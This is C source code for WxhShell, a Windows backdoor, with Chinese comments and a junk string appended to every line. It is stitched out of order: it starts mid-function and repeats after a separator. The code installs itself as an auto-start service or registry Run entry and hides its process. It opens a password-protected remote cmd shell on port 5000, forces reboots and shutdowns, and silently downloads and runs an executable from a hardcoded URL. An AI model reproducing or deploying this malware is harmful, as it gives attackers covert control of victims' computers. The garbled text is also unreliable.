    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "GqasbX  
    if(Boot(SHUTDOWN)) *E|3Vy{4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :N<o<qn  
    else { =-P<v2|e  
    closesocket(wsh); ~$ ?85   
    ExitThread(0); <Z~Nz>'r  
    } #>5T,[{?j  
    break; .bh 7  
    } UY.o,I> s  
  // 获取shell ?5pZp~  
  case 's': { 4uE/!dT  
    CmdShell(wsh); >K%+h)%kI  
    closesocket(wsh); Y3)*MqZlF  
    ExitThread(0); Lq@uwiq!  
    break; Dg ~k"Ice  
  } 65+2+p  
  // 退出 "x_G6JE4tv  
  case 'x': { _a?x)3\v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l0',B*og  
    CloseIt(wsh); \Y:zg3q*  
    break; ] TZ/=Id  
    } (h@~0S  
  // 离开 *a(GG  
  case 'q': { [Q8vS;.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TPN1Rnt0`  
    closesocket(wsh); PP_ar{|7  
    WSACleanup(); ~me/ve  
    exit(1); r0'a-Mk;  
    break; yzNDXA.  
        } yWH!v]S  
  } U?:?NC=1{  
  } FB~IO#E8W  
G)3r[C^[k  
  // 提示信息 mI^S% HT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e]:(.Wb- 9  
} uD4W@*PYr  
  } eM7 F8j  
>v/%R~BuX  
  return; UD2 l!)rW  
} 'J0Ea\,if0  
Fl==k  
// shell模块句柄 `[_p,,}Ir  
int CmdShell(SOCKET sock) `Z2-<:]6&a  
{ ,;h}<("q  
STARTUPINFO si; X4bZ4U*  
ZeroMemory(&si,sizeof(si)); ?*QL;[n1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AY9#{c>X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; leXdxpc  
PROCESS_INFORMATION ProcessInfo; 1l}fX}5%I;  
char cmdline[]="cmd"; d=HD! e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y1DbBDk  
  return 0; B|AIl+y  
} -BrJ5]T>*  
?IiFFfs  
// 自身启动模式 A;;OGJ,!\  
int StartFromService(void) CT=5V@_u\  
{ 2.a{,d  
typedef struct soB_j  
{ 4)snt3k  
  DWORD ExitStatus; catJC3  
  DWORD PebBaseAddress; p<RIvSqM  
  DWORD AffinityMask; BDi+ *8  
  DWORD BasePriority; 2d OUY $4  
  ULONG UniqueProcessId; wFL7JwK:G  
  ULONG InheritedFromUniqueProcessId; ]#FQde4]5  
}   PROCESS_BASIC_INFORMATION; s*e1m%  
( d8rfet  
PROCNTQSIP NtQueryInformationProcess; ` P*PCiZos  
v +?'/Q%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GRgpy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 17ynFHMd,  
J>0RN/38o  
  HANDLE             hProcess; OK:YnSk"  
  PROCESS_BASIC_INFORMATION pbi; G/_8xmsU  
]rO/IuB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VQ2B|v  
  if(NULL == hInst ) return 0; o~'UWU'#  
~2XiKY;W?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h7}P5z0F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X/S%0AwZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mGUG  
cN: ek|r  
  if (!NtQueryInformationProcess) return 0; !!v9\R4um  
U;U19[]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B!1L W4^  
  if(!hProcess) return 0; vPu {xy  
M9(Kxux#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QLH6Nmk  
MBFn s/  
  CloseHandle(hProcess); }Szs9-Wns  
tHH @[E+h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qy'-3GB  
if(hProcess==NULL) return 0; 0&6(y* #Z  
ru*}lDJ  
HMODULE hMod; ]~'pYOB  
char procName[255]; -$f$z(h  
unsigned long cbNeeded; G>+iisb%  
hh^_Z| 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l`EKL2n  
/| [%~`?BM  
  CloseHandle(hProcess); JjBlje  
=K6{AmG$  
if(strstr(procName,"services")) return 1; // 以服务启动 ,@@FAL  
%uy?@e  
  return 0; // 注册表启动 Y:5Gp8Vi  
} ,k6V?{ZA  
#Gu(h(Z s  
// 主模块 .$r7q[  
int StartWxhshell(LPSTR lpCmdLine) {&)E$ M  
{ #D8u#8Dz  
  SOCKET wsl; 'n "n;  
BOOL val=TRUE;  \.MPjD  
  int port=0; >m`<AynJ  
  struct sockaddr_in door; !4fT<V (  
Y ^}c+)t  
  if(wscfg.ws_autoins) Install(); WeS$$:ro  
P<R'S  
port=atoi(lpCmdLine); PWN$x`h g[  
7V;wCm#b  
if(port<=0) port=wscfg.ws_port; )9V8&,  
C,dRdEB>  
  WSADATA data; @t,Y< )U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?~rz'Pu~  
Ccy0!re  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pm'i4!mY<P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U$6(@&P!  
  door.sin_family = AF_INET; Znh) m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W0 N*c*k  
  door.sin_port = htons(port); -F';1D!l%  
j{H,{x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vg8c}>7  
closesocket(wsl); 1H7 bPl|  
return 1; 9rM6kLD  
} K}Rq<z W  
iVf8M$!m  
  if(listen(wsl,2) == INVALID_SOCKET) { #s|/5[i  
closesocket(wsl); >I *uo.OF  
return 1; 4[f>kY%[  
} }FT8 [m<  
  Wxhshell(wsl); :pg]0X;  
  WSACleanup(); *d,Z ?S/  
{~~'  
return 0; iea7*]vW  
(&-!l2  
} ]s^Pw>/`  
t,R4q*  
// 以NT服务方式启动 iKe68kx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CJ[^Fi?CH  
{ >`Zw0S  
DWORD   status = 0; ($^=f}+  
  DWORD   specificError = 0xfffffff; $}Ky6sBnvO  
@hIHvLpRB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _If:~mIs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _D~FwF&A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3v:c'R0  
  serviceStatus.dwWin32ExitCode     = 0; gjex;h  
  serviceStatus.dwServiceSpecificExitCode = 0; 1A;f[Rze  
  serviceStatus.dwCheckPoint       = 0; cR/z;*wr7  
  serviceStatus.dwWaitHint       = 0; OE_A$8L  
y>_*}>2,O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Rv (v%  
  if (hServiceStatusHandle==0) return; y,vrMWDy  
q b7ur;  
status = GetLastError(); E0<$zP}V}F  
  if (status!=NO_ERROR) QB#rf='  
{ |s*tRag  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~YCZvJ  
    serviceStatus.dwCheckPoint       = 0; o_&*?k*  
    serviceStatus.dwWaitHint       = 0; ub=Bz1._  
    serviceStatus.dwWin32ExitCode     = status; j+Q E~L  
    serviceStatus.dwServiceSpecificExitCode = specificError; "2 J2za  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zT"W(3  
    return; *S{fyYyM  
  } xBK is\b  
/&g~*AL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 137:T:  
  serviceStatus.dwCheckPoint       = 0; 7q|51rZz  
  serviceStatus.dwWaitHint       = 0; 8d*W7>rq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jp P'{mc  
} p;YS`*!s  
2]f?c%)I  
// 处理NT服务事件,比如:启动、停止 EiWsVic[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .]H1uoci|  
{ 2vx1M6a)L  
switch(fdwControl) $ jgEB+  
{ )MU)'1jc,  
case SERVICE_CONTROL_STOP: qQx5n  
  serviceStatus.dwWin32ExitCode = 0; :x/L.Bz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n6s[q- td  
  serviceStatus.dwCheckPoint   = 0; =s$UU15  
  serviceStatus.dwWaitHint     = 0; xO2CgqEb  
  { p}O[A`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x^P~+(g  
  } >'96SE3  
  return; X*Cvh|  
case SERVICE_CONTROL_PAUSE: R`!'c(V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^Y- S"Ks  
  break; vK~tgZ&  
case SERVICE_CONTROL_CONTINUE: iP^o]4[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "Zq)y_1  
  break; S67>yqha  
case SERVICE_CONTROL_INTERROGATE: 3pk `&'  
  break; /5 6sPl 7}  
}; ,CA3Q.y>|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]\Q9j7}37+  
} %+e% RZ3  
Or*e$uMIY  
// 标准应用程序主函数 P{_Xg,Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H_<hZ UB  
{ > lIQM3  
/$,~|X;&  
// 获取操作系统版本 EoD[,:*  
OsIsNt=GetOsVer(); Ec;{N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZVX!=3VT  
&$+nuUA  
  // 从命令行安装 dE0 p>4F  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vv3{jn6%  
n%1I}?$fO  
  // 下载执行文件 i%eq!q  
if(wscfg.ws_downexe) { `U[s d*C"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?ta(`+"  
  WinExec(wscfg.ws_filenam,SW_HIDE); '2BE"e  
} ( 17=|s  
{#X]D~;s+  
if(!OsIsNt) { 8O0E;6b  
// 如果时win9x,隐藏进程并且设置为注册表启动 -^+!:0';  
HideProc(); NT}r6V(Aju  
StartWxhshell(lpCmdLine); ~99DE78  
} p!]$!qHO (  
else u#uT|a.  
  if(StartFromService()) F1aI4H<(T  
  // 以服务方式启动 %qj8*1  
  StartServiceCtrlDispatcher(DispatchTable); X=U>r  
else g<&n V>wF  
  // 普通方式启动 + IpC  
  StartWxhshell(lpCmdLine); xesZ 7{ o  
\vQjTM-7  
return 0; v;m}<3@'  
} tjIT4  
Yf=Puy}q  
X[Q:c4'  
, e6}p  
=========================================== //_aIp  
h<8.0  
?rG>SA>o  
q V +gQ  
D3BT>zTGK  
d5O_~x f&  
" IxQ(g#sj_k  
=A< Fcl\Rz  
#include <stdio.h> 1<ic 5kB  
#include <string.h> gN("{j1Q  
#include <windows.h> @ZUrr_|  
#include <winsock2.h> |q:p^;x  
#include <winsvc.h> 4I97<zmrT  
#include <urlmon.h> >|S&@<  
(+^z9p7/!  
#pragma comment (lib, "Ws2_32.lib") C%l+<wpXO  
#pragma comment (lib, "urlmon.lib") tB i16=  
R&`; C<6}D  
#define MAX_USER   100 // 最大客户端连接数 7eyVm;LQD  
#define BUF_SOCK   200 // sock buffer 6~@S,i1  
#define KEY_BUFF   255 // 输入 buffer fi.[a8w:W  
QSxR@hC  
#define REBOOT     0   // 重启 3w -0IP]<  
#define SHUTDOWN   1   // 关机 NEb M>1>^  
[G/ti&Od^  
#define DEF_PORT   5000 // 监听端口 XzBnj7E  
,4&?`Q  
#define REG_LEN     16   // 注册表键长度 `f~\d.*U  
#define SVC_LEN     80   // NT服务名长度 QxaW x  
g} /efE  
// 从dll定义API V{ yP/X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /P>t3E2c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?mCino  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X?8EPCk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qij<XNZU"&  
+Kz baBK  
// wxhshell配置信息 `,O#r0m  
struct WSCFG { c6@7>PM  
  int ws_port;         // 监听端口 %gb4(~E+N  
  char ws_passstr[REG_LEN]; // 口令 1K`7  
  int ws_autoins;       // 安装标记, 1=yes 0=no C =6.~&(  
  char ws_regname[REG_LEN]; // 注册表键名 X*^^W_LH.  
  char ws_svcname[REG_LEN]; // 服务名 $k|:V&6SV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :p@.aD5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &Oih#I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VoTnm   
int ws_downexe;       // 下载执行标记, 1=yes 0=no bz1+AJG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZHWxU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PqJB&:ZV  
yDil  
}; d}Y\; '2,  
aGR!T{`   
// default Wxhshell configuration "nzQ$E>?$  
struct WSCFG wscfg={DEF_PORT, 'wg>=|Q5  
    "xuhuanlingzhe",  KDX1_r=Y  
    1, ,L.*95 ,  
    "Wxhshell", 'kC,pN{->  
    "Wxhshell", Pd"=&Az|  
            "WxhShell Service", M:9 6QM~  
    "Wrsky Windows CmdShell Service", wIbxnn  
    "Please Input Your Password: ", t6+c"=P#  
  1, oE H""Bd  
  "http://www.wrsky.com/wxhshell.exe", D\ ;(BB  
  "Wxhshell.exe" 5C|Y-G  
    }; fVXZfq6  
E<~Fi .M;\  
// 消息定义模块 ;Eer  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WP5QA8`3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E0s|eA&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :"~SKJm  
char *msg_ws_ext="\n\rExit."; |}-bMQ|  
char *msg_ws_end="\n\rQuit."; Hrk]6*  
char *msg_ws_boot="\n\rReboot..."; FoNkISzW  
char *msg_ws_poff="\n\rShutdown..."; b5@sG^  
char *msg_ws_down="\n\rSave to "; cUH. ^_a  
.S{FEV  
char *msg_ws_err="\n\rErr!"; VbG#)>"F  
char *msg_ws_ok="\n\rOK!"; GI[TD?s  
i0TbsoKh:  
char ExeFile[MAX_PATH]; %2;Nj; J$  
int nUser = 0; /TndB7l"3  
HANDLE handles[MAX_USER]; vh/&KTe?:  
int OsIsNt; cS2PrsUx  
MP3Vo|}3  
SERVICE_STATUS       serviceStatus; yd|roG/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3OlXi9>3  
lA/.4"nN  
// 函数声明 -P.51q  
int Install(void); 6L!/#d0  
int Uninstall(void); '-l.2IUyT  
int DownloadFile(char *sURL, SOCKET wsh); p=jpk@RX  
int Boot(int flag); 28! ke  
void HideProc(void); q?* z<)#  
int GetOsVer(void); TlEd#XQgf&  
int Wxhshell(SOCKET wsl); 8)o%0#;0B  
void TalkWithClient(void *cs); 0z =?}xr  
int CmdShell(SOCKET sock); w:VD[\h  
int StartFromService(void); tgVMgu  
int StartWxhshell(LPSTR lpCmdLine); A/c#2  
Q;xJ/4 Z"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZamOYkRX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rHa*WA;TE  
KPrH1 [VU  
// 数据结构和表定义 )vsX (/WU  
SERVICE_TABLE_ENTRY DispatchTable[] = F+SqJSa  
{ 9R m\@E [  
{wscfg.ws_svcname, NTServiceMain}, Ab In\,x  
{NULL, NULL} EvKzpxCh  
}; Q3I^(Ll"L  
sx n{uRF  
// 自我安装 7C9_;81_Dt  
int Install(void) .nzN5FB U  
{ aJ"m`5]=%  
  char svExeFile[MAX_PATH]; YvG=P<_xw  
  HKEY key; `*ALb|4ilG  
  strcpy(svExeFile,ExeFile); (2Z k fN  
='t}d>l  
// 如果是win9x系统,修改注册表设为自启动 R uGG3"|  
if(!OsIsNt) { Lb,wn{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i*((@:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }n( ?|  
  RegCloseKey(key); !T#EkMM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , .E>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z*UgRLKZD  
  RegCloseKey(key); G1fC'6$3  
  return 0; 2e9.U/9  
    } S J2l6  
  } _CMNmmp`e  
} D&{CC  
else { hXh nJ  
v`@NwH<r  
// 如果是NT以上系统,安装为系统服务 {2)).g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yv|`A2@9  
if (schSCManager!=0) brX[-  
{ bC /Ql  
  SC_HANDLE schService = CreateService E/zclD5S  
  ( N%F4ug@i   
  schSCManager, !z1\ #|>  
  wscfg.ws_svcname, LS$zA>:  
  wscfg.ws_svcdisp, ` {qt4zd0  
  SERVICE_ALL_ACCESS, 9:*[Q"v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^=k=;   
  SERVICE_AUTO_START, HbRvU}C1  
  SERVICE_ERROR_NORMAL, 4.p:$/GTS  
  svExeFile, /9=r.Vxh  
  NULL, O7CW#F  
  NULL, _X|prIOb=  
  NULL, I^nDO\m <  
  NULL, fy$?~Ji &  
  NULL &1Cs'  
  ); /J(vqYK"  
  if (schService!=0)  wX5q=I  
  { 58d[>0Xa[g  
  CloseServiceHandle(schService); W4,'?o  
  CloseServiceHandle(schSCManager); 7 =D,D+f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S@'%dN6e  
  strcat(svExeFile,wscfg.ws_svcname); z-qbe97  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tY>Zy1hlI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K iEmvC  
  RegCloseKey(key); wTD}c1J(  
  return 0; ;{aGEOP'U  
    } yM`u]p1  
  } t.dr<  
  CloseServiceHandle(schSCManager); IJ~j(.W  
} hbg$u$1`,  
} )o<^6Ic%7  
OLqV#i[K#9  
return 1; 51`&%V{daL  
} Jt[,V*:#  
*`rfD*  
// 自我卸载  DR{O.TX  
int Uninstall(void) gXlcB~!  
{ 5.*,IedY  
  HKEY key; zPx R=0|  
lm 96:S  
if(!OsIsNt) { + c+i u6+"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xl<iR]lda  
  RegDeleteValue(key,wscfg.ws_regname); zPc"r$'0 U  
  RegCloseKey(key); <zL_6Y2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aG83@ABx  
  RegDeleteValue(key,wscfg.ws_regname); q" f65d4c  
  RegCloseKey(key); ,:e~aG,B  
  return 0; BvsSrse  
  } p0WUF\"  
} lOp. c U  
} [gpO?'~  
else { TIxOMYy  
,f2oO?L}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [8a(4]4  
if (schSCManager!=0) Ny^f'tsA  
{ FGx)?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~1%*w*  
  if (schService!=0) ;aV3j/  
  {  =aZ d>{Y  
  if(DeleteService(schService)!=0) { (^35cj{s  
  CloseServiceHandle(schService); "qNFDr(WM  
  CloseServiceHandle(schSCManager); 2t9UJu4  
  return 0; k9f|R*LM  
  } p X{wEc6}  
  CloseServiceHandle(schService); V:Gy pY)  
  } N.vWZ7l8  
  CloseServiceHandle(schSCManager); b9RHsr]V  
} R\5,H!V9n  
} {KNaJ/:>W  
\0x>#ygX  
return 1; 1oej<67PdJ  
} n82tZpn  
:31_WJ^  
// 从指定url下载文件 }[;ZZm?  
int DownloadFile(char *sURL, SOCKET wsh) le\-h'D  
{ m2\\!C]f  
  HRESULT hr; 46}U +>  
char seps[]= "/"; BV B2$&eJ  
char *token; }bv+^#  
char *file; "-$}GUK?Z  
char myURL[MAX_PATH]; M; wKTTQy  
char myFILE[MAX_PATH]; |y U!d %  
A.vAk''(}+  
strcpy(myURL,sURL); Y2x|6{ #  
  token=strtok(myURL,seps); d\JaYizp  
  while(token!=NULL) S-S%IdL  
  { x 4+WZYv3  
    file=token; ICN>kJ\;M  
  token=strtok(NULL,seps); ^A@f{g$KB+  
  } 6}TunR  
X$>F78e*  
GetCurrentDirectory(MAX_PATH,myFILE); (Lgea  
strcat(myFILE, "\\"); ?Fl}@EA#M  
strcat(myFILE, file); l&ueD& *4&  
  send(wsh,myFILE,strlen(myFILE),0); ,2fi`9=\  
send(wsh,"...",3,0); x#EE_i/W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $Y|OGZH8E  
  if(hr==S_OK) %^@l5h.lqB  
return 0; ;#85 _/  
else <{kPa_`'  
return 1; L;RE5YrH%6  
OJcS%-~  
} $pES>>P  
.7.lr[$g  
// 系统电源模块 ,p d -hu  
int Boot(int flag) 7\6g>4J^`  
{ ]o<]A[<  
  HANDLE hToken; r%.k,FzGZY  
  TOKEN_PRIVILEGES tkp; ?:\/-y)Sp  
7%Y`j/  
  if(OsIsNt) { ?}KRAtJ8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D5lQ0_IeW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4/b.;$  
    tkp.PrivilegeCount = 1; =x8[%+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e'K~WNT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  g{Hgs  
if(flag==REBOOT) { N(7 XILC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ..} P$  
  return 0; xsH1)  
} .^wpfS  
else { n5$#M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L BbST!  
  return 0; >5CK&6  
} o]<Z3)  
  } M`cxxDj&j  
  else { 2`4m"DtA  
if(flag==REBOOT) { 1p}Wj*mc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~m6=s~Vn  
  return 0; =Wcvb?;*  
} B]X8KzLu  
else { ^p3 GT6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t8*Jdd^3Z/  
  return 0; `dZ|Ko%k  
} uV5uZ  
} <F7a!$zQ  
O52 /fGt  
return 1; UMGiJO\yH  
} C8-7XQ=B:b  
~7 i{~<?  
// win9x进程隐藏模块 o !tC{"g  
void HideProc(void) A8m06  
{ CYaN;HV@_  
D>7a0p784  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <A,V/']  
  if ( hKernel != NULL ) y#GHmHeh  
  { h5P_kZJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1wR[nBg*|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gQeQy  
    FreeLibrary(hKernel); ~[%CUc"  
  } n\"6ol}>E  
/s4~Ij`be  
return;  cyl%p$  
} I8bM-k):9R  
PJ5}c!o[  
// 获取操作系统版本 0-Mzb{n5  
int GetOsVer(void) tl 0|.Q,  
{ DPI[~  
  OSVERSIONINFO winfo; tkj-.~@g0'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x%EGxs;>^  
  GetVersionEx(&winfo); :H]d1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V%8(zt  
  return 1; hZJ~zx~  
  else ]rv\sD`[  
  return 0; *`H*@2  
} `Z;Z^c  
w ,j*I7V  
// 客户端句柄模块 7P<VtS  
int Wxhshell(SOCKET wsl) OFtaOjsyUa  
{ >Z!!`0{  
  SOCKET wsh; Skt-5S#  
  struct sockaddr_in client; 99=~vNn  
  DWORD myID; WoTeIkM9  
}t^wa\   
  while(nUser<MAX_USER) ;\pVc)\4"  
{ UePkSz9EU  
  int nSize=sizeof(client); ^\ [p6>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [^"*I.Z_  
  if(wsh==INVALID_SOCKET) return 1; t.( `$  
~[Tcl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T~E;@weR  
if(handles[nUser]==0) <U3X4)r  
  closesocket(wsh); P*&[9 )d6  
else Vgj#-7bdyi  
  nUser++; JR] 2Ray  
  } 2_wue49-l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (l99a&] t  
z206fF  
  return 0; ^{}G4BEY  
} W:i Q& [f  
hju^x8 ,=m  
// 关闭 socket p7|I>8ur.  
void CloseIt(SOCKET wsh) n#P>E( K  
{ 6BV 6<PHJ  
closesocket(wsh); pq) =  
nUser--; $4{sP Hi)I  
ExitThread(0); nq!=9r  
} "B3jq^  
|?88EG@05  
// 客户端请求句柄 1X)#iY  
void TalkWithClient(void *cs) d_`MS@2  
{ `Q*`\-8J  
Z|_V ;*  
  SOCKET wsh=(SOCKET)cs; (u 7Lh>6%  
  char pwd[SVC_LEN]; Xe);LhDC  
  char cmd[KEY_BUFF]; Zv %>m  
char chr[1]; O&7.Ry m  
int i,j; ^&<M""Z  
) f~;P+  
  while (nUser < MAX_USER) { ?2"g*Bak  
fS"u"]j*e  
if(wscfg.ws_passstr) { ;T^s&/>E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y!M0JSaM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @|:fm() <  
  //ZeroMemory(pwd,KEY_BUFF); fK7 ?"^`/  
      i=0; |mH* I  
  while(i<SVC_LEN) { KiXfR\S~C  
kqeEm {I  
  // 设置超时 "_UnN}Uk  
  fd_set FdRead; :P-H8*n""  
  struct timeval TimeOut; vGi<" Sn7  
  FD_ZERO(&FdRead); V=ll 9M  
  FD_SET(wsh,&FdRead); (A?>U_@  
  TimeOut.tv_sec=8; --]blP7  
  TimeOut.tv_usec=0; RJ?)O#}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N_g=,E=U%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,[ 2N3iH  
Q b^{`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q;9X8 _  
  pwd=chr[0]; e;vI XJE  
  if(chr[0]==0xd || chr[0]==0xa) { ;SXkPs3q  
  pwd=0; b,Eq-Z;  
  break; uT]$R  
  } w~6/p  
  i++; Ihf>FMl:  
    } ll5;09  
"vk]y  
  // 如果是非法用户,关闭 socket V~PGmn[V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 551_;,t  
} e^*&&  
h_ t`)]-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vs8[352  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :'r* 5EX  
MZ%J ]Nd  
while(1) { iJOoO"Ai  
 2l,>x  
  ZeroMemory(cmd,KEY_BUFF); QV."ZhL5=  
nO yG7:  
      // 自动支持客户端 telnet标准   h HHR]e5:  
  j=0; Sck!w 3  
  while(j<KEY_BUFF) { 48,*sTRq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C+\z$/q  
  cmd[j]=chr[0]; @|\;#$?XW3  
  if(chr[0]==0xa || chr[0]==0xd) { 8/2Wq~&  
  cmd[j]=0; ]|F`;}7  
  break; P [aE3Felk  
  } _9D]1f=&  
  j++; BUZ74  
    } VXCB.C"  
>? o5AdZ  
  // 下载文件 b w1s?_P  
  if(strstr(cmd,"http://")) { idBd aZg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kez0Bka  
  if(DownloadFile(cmd,wsh)) k4&adX@Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7/&taw%i  
  else yq, qS0Fo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8;~,jZ s  
  } 8Ud.t =2  
  else { ,PpVZq~  
E5gt_,j>  
